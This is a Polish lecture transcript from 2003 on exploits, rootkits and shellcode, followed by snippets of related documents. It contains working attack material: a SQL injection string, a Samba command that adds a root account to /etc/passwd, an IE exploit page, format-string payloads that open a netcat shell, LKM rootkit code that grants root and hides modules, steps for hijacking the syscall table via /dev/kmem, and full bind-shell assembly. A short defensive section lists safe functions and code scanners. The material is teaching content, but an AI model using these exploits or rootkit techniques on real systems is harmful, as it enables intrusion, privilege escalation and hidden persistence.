Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak
|
|
- Edward Owczarek
- 9 lat temu
- Przeglądów:
Transkrypt
1 Exploity, Rootkity i Shell Code Bartłomiej Rusiniak Styczeń 2003
2 Spis treści 1 Exploity Błędy semantyczne Błędy systemowe Metoda przepełnienia stosu Metoda łańcuchów formatujących Jak się ustrzec przed włamaniem! Ukrywanie w systemie Ukrywanie w systemie z LKM Ukrywanie w systemie bez LKM Rootkity Shell Code 15 Bibliografia 18 1
3 Rozdział 1 Exploity Exploit 1 jest sekwencją czynności mających na celu wykorzystanie błędów w oprogramowaniu systemów operacyjnych, usług sieciowych lub aplikacji użytkownika do włamania (dostępu do powłoki systemowej z podwyższonymi uprawnieniami lub uzyskania danych do których dostęp jest ograniczony lub zabroniony). Nie ma uniwersalnego exploita. Ich konstrukcja oraz sposób działania bezpośrednio zależy od: atakowanej aplikacji systemu operacyjnego na którym aplikacja jest uruchamiana (także jego konfiguracji) architektury sprzętowej 2 rodzaju popełnionego błędu, który będzie wykorzystany do ataku. W związku z tym większość przykładów tej prezentacji oparte będzie o standardową architekturę Intel i386 i system Linux. 3 Ze względu na błędy wykorzystywane przez exploity można przyjąć ich umowny podział na następujące rodzaje: 1. błędy systemowe 2. błędy semantyczne Błędy semantyczne wynikają z niedbalstwa w projektowaniu lub też z tzw. backdoors pozostawionych przez programistów (np. celem debugingu). Pozwalają one na włamanie bez odwoływania się do shell code i bez znajomości technik programistycznych. Błędy systemowe są związane z implementacją systemu i często wymagają dokładnej wiedzy z zakresu SO, protokołów sieciowych i programowania niskopoziomowego. Do tej 1 (z ang. wykorzystanie). 2 Istnieją błędy które można wykorzystać tylko na pewnej konkretnej architekturze. Słynny błąd Apache we wszystkich wersjach niższych niż , który pozwalał uruchomić dowolny zdalny program jedynie na niektórych procesorach 64 bitowych 3 Omawiane techniki są podobne na różnych implementacjach Unix spełniających standard POSIX jednak różnią się szczegółami technicznymi 2
4 kategorii zaliczane są techniki przepełnienia stosu(stack overflow), napisu formatującego (format string) i przepełnienia sterty(heap overflow). Dwie pierwsze zostały omówione w tej prezentacji. 1.1 Błędy semantyczne Błędy semantyczne są mało interesujące z punktu widzenia architektury systemów operacyjnych, często bowiem bazują one na konkretnej wersji aplikacji użytkowej i przeważnie są stosunkowo łatwe do poprawienia w kolejnych wersjach aplikacji czy usługi. Błędy tego typu są bardzo częste, ale z większością z nich nie wiąże się poważne niebezpieczeństwo. Jednocześnie nie ma konkretnej techniki wykrywania takich błędów (może poza dekompilacją i żmudną analizą kodu). Cała seria błędów semantycznych dotyczy obsługi formularzy HTML wykorzystywanych w portalach internetowych. W większości wynikają one z niedbalstwa (często spowodowanego napiętymi terminami oddawania projektów informatycznych) lub błędnych założeń projektowych. Przykładem takich luk może być następujący formularz: Przykład Przykład formularza pozwalającego na wyszukiwanie produktów jakiejś firmy po kodzie. <html> <script language="javascript"> function go() { if (document.szukaj.code.value.length>6) alert(" Za dług kod produktu"); else document.szukaj.submit(); }; </script> <body> <form action="/servlet/szukaj" name="szukaj"> <input type="text" name="code" size=6> <a href="javascript:go()">szukaj</a> </form> </body> </html> Przyjmimy jeszcze następujące założenia Pole we wprowadzonej postaci przekazywane jest do instrukcji SQL o postaci SE- LECT * FROM PORDUKTY WHERE KOD=< code > Portal nie kontroluje, czy przy przesyłaniu danych jest wykorzystywana metoda GET czy POST. 3
5 Możemy wtedy wprowadzić następujący adres: union select password from..." Oczywiście przykład jest prosty i w praktyce takie techniki są bardziej skomplikowane, jednakże bardzo często stosując podobne sposoby można uzyskać dość zaawansowane efekty. Innym przykładem exploita związanego z błędnymi założeniami projektowymi może być błąd z pakietu Samba 2.0.9: Przykład Postępujmy według następujących kroków: 1. utwórzmy miękkie dowiązanie np.: ln -s /etc/passwd /tmp/passwd.log 2. wywołajmy polecenie smbclient //localhost/ \n hackusr::0::0:/bin/sh -n../../../tmp/passwd W ten sposób utworzyliśmy nowego użytkownika w systemie o loginie hackusr. Korzystając z przykładu można zmieniać różne pliki konfiguracyjne do których normalnie nie ma dostępu. Związane to jest z tym, że zasoby do jakich odwołuje się smbclient (-n../../../tmp/passwd) nie były kontrolowane, a logi błędów były zapisywane bezpośrednio w pliku nazywanym tak samo jak zasób (w nowych wersjach zostało to poprawione i log zostanie zapisany w pliku.._.._.._tmp_pa.log ). Kolejnym przykładem błędu pozostawionego przez programistów może być np.: Przykład Przykład błędu w MSIE (działa np.: na IE dołączanym standardowo do pakietu instalacyjnego Windows XP) <html> <head> <title>running "c:/windows/system32/calc.exe"..</title> <link rel="stylesheet" href="../sec.css"> </head> <body> Running "c:/windows/system32/calc.exe".. <span datasrc="#oexec" datafld="exploit" dataformatas="html"></span> <xml id="oexec"> <security> <exploit> <![CDATA[ <object id="ofile" classid="clsid: " codebase="c:/windows/system32/calc.exe"></object> ]]> </exploit> </security> </xml> </body> </html 4
6 Inne tego typu błędy mogą być związane z implementacją języków skryptowych np.: Visual Basic, Java Script, PHP czy ASP, jednakże nie są ona interesujące z punktu widzenia tego referatu. 1.2 Błędy systemowe Metoda przepełnienia stosu Rysunek 1.1 pokazuje w jaki sposób pojedyńczy proces postrzega adresy i zawartość pamięci. Rysunek 1.1: Adresy pamieci oraz obszary widziane przez pojedyńczy proces Jak łatwo zauważyć jedynie stos posiada prawo zarówno do czytania jaki i pisania oraz uruchamiania. Można więc na stosie umieścić kod wykonywalny i w jakiś sposób przekazać mu sterowanie. Takie małe asemblerowe programy pozwalające wykonywać funkcje systemowe nazywa się potoczne shell code. Zagadnienie związane z błędami przepełnienia stosu ilustruje przykład Przykład Błędy umożliwiające przepełnienie stosu 5
7 int main(int argc,char **args) { char buf[100]; if (argc!=2) exit(1); strcpy(buf,args[1]); //niebezpieczeństwo printf(buf); if (!strncmp(buf," -h",100)) printf(" Argument pomoczniczy" ); } Wydaje się, że we fragmencie kodu z przykładu nie byłoby nic specjalnego, jednakże jeżeli przekazany argument będzie dłuższy niż 100 znaków nastąpi przepełnienie bufora. Sytuacja ta zaistnieje także jeżeli podawany ciąg bajtów nie będzie posiadał znaku końca łańcucha, ponieważ strcpy kopiuje pamięć dopóki go nie napotka. Okazuje się, że przed wykonaniem funkcji (w tym wypadku strcpy) odkładany jest adres Rysunek 1.2: Stan stosu procesu przed i po przepełnieniu powrotu (funkcja CALL asemblera), stąd też jeżeli przekazywany ciąg znaków będzie zawierał shell code, i będzie miał odpowiednią długość, to adres ten zostanie nadpisany dowolną wartością znajdującą się na końcu przekazywanego łańcucha. Po wykonaniu strcpy sterowanie zostanie przekazane według wpisanej wartości (RET asemlera zdejmuje wartość ze stosu i tam przekazuje sterowanie). Jeżeli teraz łańcuch, którym przepełniany jest bufor, będzie się składał kolejno z instrukcji pustych (0x90) oraz shell code, to można uzyskać dostęp do powłoki systemowej, o ile rettaddr z rysunku 1.2 zostanie nadpisany shellcode addr, który wskazuje na instrukcje z początku bufora. Wyznaczanie długości bufora, jak i shellcode addr można ustalić za pomocą gbd (wtedy trzeba wziąć poprawkę na trochę inne zachowanie programów w trybie debugowania) 6
8 lub strace Metoda łańcuchów formatujących Duża klasa exploitów opiera się o luki bezpieczeństwa związane z zagadnieniem możliwości dowolnego formatowania napisów wyświetlanych przez funkcje klasy printf. Przykład int main(int argc,char **args) { char buf[100]; if (argc!=2) exit(1); strncpy(buf,args[1],100); //poprawka w stosunku do poprzedniego przypadku!!! printf(buf);//niebezpieczeństwo!!! if (!strncmp(buf," -h",100)) printf(" Argument pomoczniczy" ); } Co się stanie jeżeli program zostanie wywołany z parametrem postaci: %x:%x:%x:%x:%x Okaże się, że zostanie wyświetlony napis składający się na przykład z wartości: bffffc66:4002f8dd:400288b0:253a7825:78253a78 Rysunek 1.3: Kolejne zdejmowanie wartości ze stosu za pomocą znaku %x Dlaczego tak się dzieje? Spowodowane jest to tym, że wejście do printf zostanie potraktowane jako łańcuch formatujący, a co za tym idzie, funkcja będzie się spodziewała dalszych parametrów. Ponieważ nie zostały one przekazane to zostaną zdjęte kolejne wartości ze stosu i przekonwertowane na wartości heksadecymalne. Ostatnie dwie liczby 253a7825,78253a78 to jest już napis ( %x:% ), umieszczony na stosie przed wywołaniem printf (Rys. 1.3). Podczas analizy kodu źródłowego programu w postaci instrukcji asemblera można w łatwy sposób stwierdzić, że na stosie przechowywane są różne wartości wskaźników zmiennych wstawionych tam wcześniej (np.: pod wskaźnikiem 0xbfffffc66 znajduje się args[1]). 7
9 Jednak o niebezpieczeństwie jakie czai się w napisach decyduje tak naprawdę znak formatujący %n, który pod podany w parametrach printf wskaźnik pamięci wstawia liczbę wypisanych do tej pory znaków. Prosto więc wymyślić sposób zastosowania tego mechanizmu w celu zapisania dowolnej wartości pod dowolny, widziany przez proces, adres (patrz tabela 1.2.2) Dowolny napis ( np.: 0x ) służący jako wypełniacz dla ostatniego %nx. Będzie to ostatnia wartość zdjęta przez %x. Adres Adres pamieci gdzie będziemy wstawiać wartość, ale w odwrotnej kolejności np. \x44\x33\x22\x11 %08x...%08x Należy umieścić wskaźnik stosu na początku bufora (poprzez zdejmowanie wartości ze stosu) %(wartość - wypisane już wartości)x %n Zapisujemy w pamieci Żeby umieścić odpowiednią liczbę musimy wypisać odpowiednią ilość znaków. Realizowane jest to za pomocą napisu %nx Rysunek 1.4: Układ oraz działanie znaków formatujących Przykładem takiego napisu (dla programu 1.2.2), który pod adres 0x wpisze wartość 44, może być: 3333\x44\x33\x22\x11%08x%08x%08x%20x%n Niestety jednak, liczba wypisanych znaków (np.0x ) może być zbyt duża dla procesu. W związku z tym, stosuje się modyfikację tego sposobu (bardziej skomplikowaną) polegającą na czterokrotnym wpisaniu pojedyńczego bajtu obok siebie pod podane kolejno adresy. Można to zrealizować korzystając z najmłodszego bajtu licznika wypisanych słów. Przy tej metodzie stosuje się taką samą technikę jak w pierwotnej koncepcji. Pozostaje tylko zastanowić się co nadpisać aby dostać się do systemu. Może być to tablica DRR (Dynamic Relocation Records) gdzie przetrzymywane są adresy funckji bibliotecznych linkowanych dynamiczne. Jeżeli w przykładzie z podmieniona zostanie (slot w tablicy DRR) wartość adresu funkcji strncpy na system i jeżeli po ostatnim adresie pobranym przez %n znajdować się będzie napis np.: nc -l -p 5097, to uzyskany zostanie zdalny dostęp do lini poleceń na porcie TCP Należy tylko znaleźć adres tej funkcji w glibc i tablicy DRR. Nie jest to trudne ponieważ adres mapowania libc można dostać poprzez /proc/<pid>/maps, a przesunięcie funkcji strcmp i system wewnątrz bibliteki korzystając z narzędzia nm. 8
10 Przykład Mapowanie dla procesu init e000 r-xp : /sbin/init 0804e f000 rw-p : /sbin/init 0804f rwxp : r-xp : /lib/ld so rw-p : /lib/ld so rw-p : r-xp : /lib/libc so c000 rw-p : /lib/libc so 4013c rw-p :00 0 bffff000-c rwxp :00 0 system - 0x0003e890 strcmp - 0x00071e58 Jednocześnie wpis w tablicy DRR dopisany przez linker można uzyskać za pomocą objdump -R <elf file> tak jak widnieje to na przykładzie Przykład Wejścia funkcji bibliotecznych w tablicy DRR DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE ac R_386_GLOB_DAT gmon_start R_386_JUMP_SLOT strncmp c R_386_JUMP_SLOT libc_start_main a0 R_386_JUMP_SLOT printf a4 R_386_JUMP_SLOT exit a8 R_386_JUMP_SLOT strncpy Jak się ustrzec przed włamaniem! Aby ustrzec się przed możliwością ataku za pomocą przepełniena stosu i łańcucha formatującego należy używać: strncpy zamiast strcpy strncat zamiast strcat snprintf zamiast sprintf fchmod zamiast chmod fchown zamiast chown Jednocześnie należy uważać na konstrukcje C/C++ alokujące bufory na dane zewnętrzne i kontrolować przekazywane napisy (na zawartość znaku %). Dostępne są skanery kodu wykrywające niebezpieczne konstrukcje w różnych językach oprogramowania takie jak.: 9
11 Splint MOPS CQUAL ITS Flawfinde RATS Inną propozycją może być realizowanie usług w bezpiecznych środowiskach językowych takich jak Cyclone bezpieczny dialekt C, czy Java gdzie za bezpieczeństwo oprogramowania odpowiada VM Java a nie sama aplikacja. Okazuje się jednak, że najlepszym, i w wielu przypadkach jedynym, sposobem na bezpieczny oprogramowanie jest jedynie ręczna analiza kodu i poprawne, uważne programowanie!!!! 10
12 Rozdział 2 Ukrywanie w systemie Jeżeli za pośrednictwem exploita uzyskany zostanie dostęp do powłoki systemowej na poziomie użytkownika root, to należałoby zadbać o niewidoczny, z punktu widzenia administratora, dostęp do systemu. Oto główne obszary w ramach których istnieje potrzeba maskowania: ukrywanie procesów (komendy takie jak ps, top) ukrywanie plików (ls, open) ukrywanie operacji sieciowych netstat ukrywanie obszarów pamięci ukrywanie modułów jądra (tylko LKM) Pierwszym pomysłem na ukrywanie jest skompilowanie i podmiana binariów komend ps, ls, top itp. Jednkaże już pierwszy program korzystający z funkcji systemowych wykryje ukryte zasoby. Jednocześnie takie narzędzia jak tripware (znakujący pliki w systemie sumą kontrolną) automatycznie sobie z tym poradzą. Trzeba więc pomyśleć w jaki sposób zmienić funkcje systemowe aby wyświetlały zafałszowane dane. 2.1 Ukrywanie w systemie z LKM Jeżeli atakowany system obsługuje LKM, to podmianę funkcji systemowej można zrobić w następujący sposób: Przykład Przykład na podmianę funkcji systemowej close za pomocą ładowalnego modułu jądra int new_close (unsigned int fd) { if (fd == 987) { current->uid = 0; return 0; } else return orig_close (fd); } 11
13 int init_module () { orig_close = sys_call_table[ NR_close]; sys_call_table [ NR_close] = new_close; return 0; } int cleanup_moudule () { sys_call_table [ NR_close] = orig_close; return 0; }; Po załadowaniu modułu z kodem przedstawionym w 2.1.1, wywołanie w dowolnym programie funkcji close(987) spowoduje, że bieżący użytkownik dostaje prawa roota. Równie dobrze można w ten sposób podmieniać inne funkcje systemowe i dzięki temu ukrywać praktycznie wszystkie zasoby. Należy jeszcze ukryć sam moduł w systemie. Moduły w jądrze Linux ułożone są w listę dostępną z poziomu jądra. Więc ukrycie danego modułu można zrealizować usuwając ten moduł z listy modułów. Przykład Przykład na ukrywanie ostatni załadowanego modułu w systemie int init_module(){ if ( this_module.next) this_module.next = this_module.next->next; return 0; } int cleanup_module(){ return 0; } Po załadowaniu modułu z przykładu przedostatni moduł znika z listy modułów systemu. Okazuje się jednak, że istnieje prosta metoda wykrywania podmiany funkcji systemowych realizowanych w ten sposób. Wykonuje się to zapisując w jakimś bezpiecznym miejscu wartości tablicy sys call table pobrane z czystego systemu. Okresowe porównywanie wartości bieżącej i zapisanej wcześniej tabeli adresów funkcji systemowych pozwala w prosty sposób wykryć takie techniki. Jednocześnie nie wszystkie systemy wspierają LKM, dlatego też powstały inne sposoby maskowania w systemie. 2.2 Ukrywanie w systemie bez LKM Jeżeli jądro atakowanego systemu nie wspiera LKM, to z pomocą przychodzi urządzenie /dev/kmem. Za jego pomocą można odczytywać i zmieniać wartości tablicy sys call table. Niestety nigdzie nie jest formalnie przechowywana informacja o wartości adresu sys call table (w przypadku jąder z LKM jest to przechowywane w /proc/ksyms). Żeby przystąpić do działania należy zatem odnaleźć adres sys call table. W tym celu należy wykonać następujące sekwencje: 1. gdb -q /usr/src/linux/vmlinux 12
14 2. (gdb) disass system call Dzięki temu można uzyskać postać źródłową przerwania 0x80. Przerwanie to woła funkcje poprzez adresy w sys call table. Przykład Fragment przerwania 0x80 dla jądra Linux (AUROX) 0xc0108cf0 <system_call>: push %eax 0xc0108cf1 <system_call+1>: cld 0xc0108cf2 <system_call+2>: push %es 0xc0108cf3 <system_call+3>: push %ds 0xc0108cf4 <system_call+4>: push %eax 0xc0108cf5 <system_call+5>: push %ebp 0xc0108cf6 <system_call+6>: push %edi 0xc0108cf7 <system_call+7>: push %esi 0xc0108cf8 <system_call+8>: push %edx 0xc0108cf9 <system_call+9>: push %ecx 0xc0108cfa <system_call+10>: push %ebx 0xc0108cfb <system_call+11>: mov $0x18,%edx 0xc0108d00 <system_call+16>: mov %edx,%ds 0xc0108d02 <system_call+18>: mov %edx,%es 0xc0108d04 <system_call+20>: mov $0xffffe000,%ebx 0xc0108d09 <system_call+25>: and %esp,%ebx 0xc0108d0b <system_call+27>: testb $0x2,0x18(%ebx) 0xc0108d0f <system_call+31>: jne 0xc0108d80 <tracesys> 0xc0108d11 <system_call+33>: cmp $0x100,%eax 0xc0108d16 <system_call+38>: jae 0xc0108dad <badsys> 0xc0108d1c <system_call+44>: call *0xc02decd0(,%eax,4) # wołanie sys_call_table w zależności # od zawartości al (adres znajduje się pod 0xc02decd0)) 0xc0108d23 <system_call+51>: mov %eax,0x18(%esp,1) 0xc0108d27 <system_call+55>: mov %esi,%esi 0xc0108d29 <system_call+57>: lea 0x0(%edi,1),%edi Żeby teraz automatycznie wyszukać adres tablicy wywołań systemowych można przeszukiwać pamięć (np.: pomiędzy 0xc ,0xc ) szukając wzorca binarnego: call *<dowolny adres>(,eax,4). Można teraz stworzyć strukturę odpowiadającą sys call table w innym miejscu pamięci i podmienić odpowiednia wartość przechowywaną w adresie z przykładu za pomocą /dev/kmem i lseek(kmem,0xc0108d1c). Struktura ta będzie mapowała nowe i stare funkcje systemowe, które będą wywoływane przy przerwaniu 0x80. Metoda ta jest nie do wykrycia za pomocą porównywania sys call table, ponieważ oryginalna tablica pozostaje bez zmian. Jednaka powstaje problem jak zarezerwować miejsce w pamięci jądra na new sys call table. Można to zrobić w następujący sposób: 1. Znaleźć adres funkcji kmalloc przez wyszukiwanie wzorca binarnego (nie zawsze działa, ale jest to dość skuteczna metoda stosowana w programach antywirusowych). 13
15 2. Utworzyć nową funkcję systemową w sys_call_table wywołującą kmalloc i przekazującą wskaźnik (w obszarze nie używanym, bo jądra 2.4.x używają niecałych 230 wywołań systemowych a wejść jest 256, więc pozostaje 26*8 bajtów wolnych). 3. Wywołać tę funkcję poprzez przerwanie 0x Przywrócić oryginalny sys_call_table W nowym miejscu pamięci można więc już spokojnie utworzyć new_sys_call_table. Uwaga!! Istnieje też możliwość podmienienia urządzenia /dev/kmem, tak żeby omijał zmieniane obszary i pokazywał stan systemu przed podmianą wejścia zawierającego adres tabeli funkcji systemowych. 2.3 Rootkity Rootkit 1 aplikacja, moduł jądra umożliwiający zamaskowany całkowity dostęp do systemu. Istnieje wiele różnych rootkitów dla różnych systemów. Różnią się one głównie sposobem maskowania oraz uruchamiania. Przykładami rootkitów mogą być: Adore (korzysta z mechanizmów opisanych w 2.1) SucKit (korzysta z mechanizmów opisanych w 2.2) DamnWare NT (instaluje się zdalnie na Windows NT poprzez usługę RPC) Rootkity podmieniają takie funckje systemowe jak: write ukrywanie gniazd sieciowych open podstawianie/ukrywanie plików getdents/getdents64 ukrywanie plików np. dla ls. fork/clone ukrywanie procesów potomnych kill blokowanie sygnałów Zarówno Adore jak i SucKit posiadają mechanizmy zdalnego dostępu, konfiguracji ukrytych zasobów itp. Jeżeli taki rootkit zostanie zainstalowany w systemie to, w zależności od zaawansowania wykorzystywanych technik, potrafi być on bardzo trudny do wykrycia (systemy IDS też często korzystają z funkcji systemowych). 1 Nie znalazłem odpowiednika tego słowa w języku polskim 14
16 Rozdział 3 Shell Code Shell code jest to potoczne określenie prostego programu pozwalającego na uruchomienie powłoki (przeważnie /bin/sh). Zwykle jest to szestnastkowy ciąg znaków reprezentujących instrukcje asemblerowe odpalające powłokę i udostępniające ją zdalnie (przeważnie przez sieć). Jednocześnie ten ciąg znaków nie może zawierać znaków końca napisu. W przypadku systemu Linux funkcją systemową, która pozwala na stworzenie nowego procesu jest execve. Poniżej zostały przedstawione fragmenty przykładowego shell code wraz z opisem 1. Przykład Przykład prostego shell code PORT = # numer portu NPORT = (PORT >> 8) ((PORT & 0xFF) << 8) # zmiana kolejności z reprezentacji # hosta (i386) na reprezentację w sieci SOCKETCALL = 102 # numer funkcji systemowej socketcall(2) DUP2 = 63 # numer funkcji systemowej dup2(2) EXECVE = 11 # numer funkcji systemowej execve Inicjacja niezbędnych stałych dla shell code. Powłoka będzie nasłuchiwała na porcie Wywołanie funkcji systemowych następuje poprzez przerwanie 80h. Konkretne funkcje są wybierane dzięki ustawieniu rejestru al. prep: xorl %eax, %eax # zerowanie %eax, %edx, %ebx cltd xorl %ebx, %ebx socket: # socket(2, 1, 6) pushl $0x6 #/etc/protocols - TCP pushl $0x1 #SOCK_STREAM (fullduplex byte stream) pushl $0x2 #PF_INET (IPv4) incl %ebx # SYS_SOCKET (1) movb $SOCKETCALL, %al # socketcall movl %esp, %ecx # %ecx wskazuje na parametry int $0x80 # wywołanie funkcji systemowej 1 Przykład wzięty z [Soft0902] 15
17 Utworzenie gniazda TPC odpowiednio jako warstwa 3 OSI IPv4, warstwa 4 OSI TCP. Można zamiast TCP wykorzystać np. ICMP, wtedy taki działający shell code jest trudniejszy do wykrycia przez firewall, ale stałby się bardziej skomplikowany. bind: # bind (PORT, INADDR_ANY) pushl %edx # INADDR_ANY (edx =0) incl %ebx # SYS_BIND (2) pushw $NPORT # port pushw %0x2 # PF_INET(IPv4) movl %esp, %ecx # potrzebny wskaznik na # struct sockaddr_in pushl $16 # adrlen pushl %ecx # my_addr pushl %eax # sockfd movl %esp, %ecx # teraz na parametr socketcall movb $SOCKETCALL, %al int $0x80 # wolamy kernel Nadawanie adresu gniazdu poprzez wywołanie funkcji systemowej bind. Warto zwrócić uwagę w jaki sposób tworzona jest struktura sockaddr in (poprzez tworzenie ręczne zmiennej na stosie). Będzie ona później używana przez accept. listen: # listen(sockfd, 2) popl %esi # przerzucamy sockfd popl %edi # to sie nie przyda pushl %ebx # wrzucamy backlog pushl %esi # i sockfd shll %ebx # SYS_LISTEN (4) movb $SOCKETCALL, %al int $0x80 # kernel accept: # accept(sockfd, 0, 0) pushl %edx # zera pushl %edx pushl %esi # sockfd movl %esp, %ecx # przesunal sie wierzcholek stosu incl %ebx # SYS_ACCEPT (5) movb $SOCKETCALL, %al int $0x80 # kernel Odpowiednie wywołanie funkcji systemowych listen i accept dup2: # dup2(acceptfd, [210]) xchgl %eax, %ebx # do %ebx acceptfd movl %edx,%ecx #zerujemy ecx movb $2, %ecx # ladujemy 2 do %ecx dlp: # petla, dwukrotnie movb $DUP2, %al # numer dup2 int $0x80 # kernel 16
18 loop dlp # zwykly loop ze zmniejszeniem %ecx movb $DUP2, %al # ostatnie dup2(acceptfd, 0) int $0x80 # wolamy kernel execve: pushl %edx # zera na koniec "-i" pushw $0x692d # interactive shell movl %esp, %ecx # zapamietujemy argv[1] pushl %edx # zera na koniec "/bin/sh" pushl $0x68732f6e # "//bin/sh" - w sumie moze pushl $0x69622f2f # byc, ale wyglada dziwnie, incl %esp # stad - ciach pierwszy slash movl %esp, %ebx # filename na stosie pushl %edx # puste zmienne srodowiskowe, # a takze koniec argv movl %esp, %edx # envp pushl %ecx # argv[1] pushl %ebx # argv[0] movl %esp, %ecx # argv movb $EXECVE, %al int $0x80 # kernel done: Następuje przekierowanie strumieni wyjściowych oraz wywołanie powłoki systemowej. W ten sposób można uzyskać dostęp do shella poprzez port tcp. Oto kilka informacji dotyczących tworzenia shell code: Jak tworzyć własny shell code? Najlepiej jest napisać program w C, skompilować go gcc z opcją -S -c. W ten sposób można otrzymać kod asemblera, który może być skompilowany do pliku elf ( -c ). Na pliku elf można wykonać komendę strip -R.data -R.rodata -R.modinfo - R.comment -R.bss -R.note -O binary elf object.o. Dzięki temu można otrzymać plik zawierający instrukcje binarne, które łatwo można przekształcić w tablicę heksadecymalną (np. xxd)i umieścić w kodze exploita. W sieci można znaleźć gotowe shell code działające dla różnych architektur sprzętowych tj. IA32, MPIS, SPARC, PowerPC Wywoływanie i parametryzacja funkcji systemowych można bezpośrednio wyczytać ze źródeł do libc ( sys/syscalls.h, unistd.h itp.) Istnieją programy przekształcające podany shell code na ciąg alfanumeryczny (program uuexecutor). Jest to możliwe dzięki nieregularności listy instrukcji procesorów. 17
19 Bibliografia [Soft0902] Tomasz Potęga, Shell pilnie potrzebny, Software 2.0( ). [Soft0802] Marek Olejniczak, Bezpieczne programowanie w języku C, Software 2.0( ). [Phrack 58-07] sd@sf.cz,devik@cdi.cz, Linux on-the-fly kernel patching without LKM, Phrack 12/
Przepełnienie bufora i łańcuchy formatujace
Metody włamań do systemów komputerowych Przepełnienie bufora i łańcuchy formatujace Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl
Programowanie niskopoziomowe
Programowanie niskopoziomowe Programowanie niskopoziomowe w systemie operacyjnym oraz poza nim Tworzenie programu zawierającego procedury asemblerowe 1 Programowanie niskopoziomowe w systemie operacyjnym
Programowanie Niskopoziomowe
Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie
Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.
Exploity w praktyce Plan prelekcji Powtórka assembly x86 32. Pamięć uruchamianych programów. Prosty stack overflow exploit. Tworzenie shellcode i jego uruchomienie. Wstrzykiwanie shellcode wykorzystując
Adam Kotynia, Łukasz Kowalczyk
Adam Kotynia, Łukasz Kowalczyk Dynamiczna alokacja pamięci Alokacja pamięci oraz dezalokacja pamięci jest to odpowiednio przydział i zwolnienie ciągłego obszaru pamięci. Po uruchomieniu, proces (program)
Spis treści. Wskazówki prawne Art Art Art. 268a Art Art. 269a Art. 269b... 23
Spis treści Przedmowa do wydania trzeciego... 11 Szkoła Hakerów??? Czy wyście już do końca powariowali?!... 11 Kim jest haker?... 12 Misja Szkoły Hakerów... 12 Słowem wstępu... 15 Sposób przekazywania
Programowanie Niskopoziomowe
Programowanie Niskopoziomowe Wykład 11: Procedury zaawansowane Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Ramki stosu Rekurencja INVOKE, ADDR, PROC,
Linux vs rootkits. - Adam 'pi3' Zabrocki
Linux vs rootkits - Adam 'pi3' Zabrocki /usr/bin/whoami ADAM ZABROCKI /usr/bin/whoami ADAM ZABROCKI /usr/bin/whoami ADAM ZABROCKI http://pi3.com.pl pi3@itsec.pl (lub oficjalnie adam.zabrocki@wcss.pl) Plan
Buffer Overflow (art. 2) by h07 (h07@interia.pl)
Buffer Overflow (art. 2) by h07 (h07@interia.pl) Intro Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a takŝe architektury systemu Linux i sposobów zarządzania
Wirusy w systemie Linux. Konrad Olczak
Wirusy w systemie Linux Konrad Olczak Plan prezentacji Różnice w bezpieczeństwie Windowsa i Linuxa. Pokazanie możliwości implemetacji wirusa. Windows vs. Linux Uruchamianie plików. Różnorodność oprogramowania.
Optymalizacja szelkodów w Linuksie
Optymalizacja szelkodów w Linuksie Michał Piotrowski Artykuł opublikowany w numerze 4/2005 magazynu hakin9. Zapraszamy do lektury całego magazynu. Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie
Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl)
Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący)
Parę słów o przepełnieniu bufora.
Parę słów o przepełnieniu bufora. Łukasz Pejas Styczeń 2006 1 Bufor na stosie. Stos służy między innymi do przekazywania parametrów do funkcji i do tworzenia zmiennych lokalnych funkcji. Jest czymś w rodzaju
Programowanie w asemblerze Aspekty bezpieczeństwa
Programowanie w asemblerze Aspekty bezpieczeństwa 20 grudnia 2016 Ochrona stron pamięci Najstarsze(?) ataki: modyfikacja kodu programu. Lekarstwo: W XOR X (Write XOR execute) Oznacza to, że w atrybutach
Ćwiczenie 3. Konwersja liczb binarnych
1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się
Od uczestników szkolenia wymagana jest umiejętność programowania w języku C oraz podstawowa znajomość obsługi systemu Linux.
Kod szkolenia: Tytuł szkolenia: PS/LINUX Programowanie systemowe w Linux Dni: 5 Opis: Adresaci szkolenia Szkolenie adresowane jest do programistów tworzących aplikacje w systemie Linux, którzy chcą poznać
Jak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania.
Jak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania. Dlatego trzeba je zapisywać do pliku, a potem umieć je z tego
4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24
Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.
Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych.
Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych. 1. Przygotowanie środowiska programistycznego. Zajęcia będą
znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.
Część XVI C++ Funkcje Jeśli nasz program rozrósł się już do kilkudziesięciu linijek, warto pomyśleć o jego podziale na mniejsze części. Poznajmy więc funkcje. Szybko się przekonamy, że funkcja to bardzo
Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.
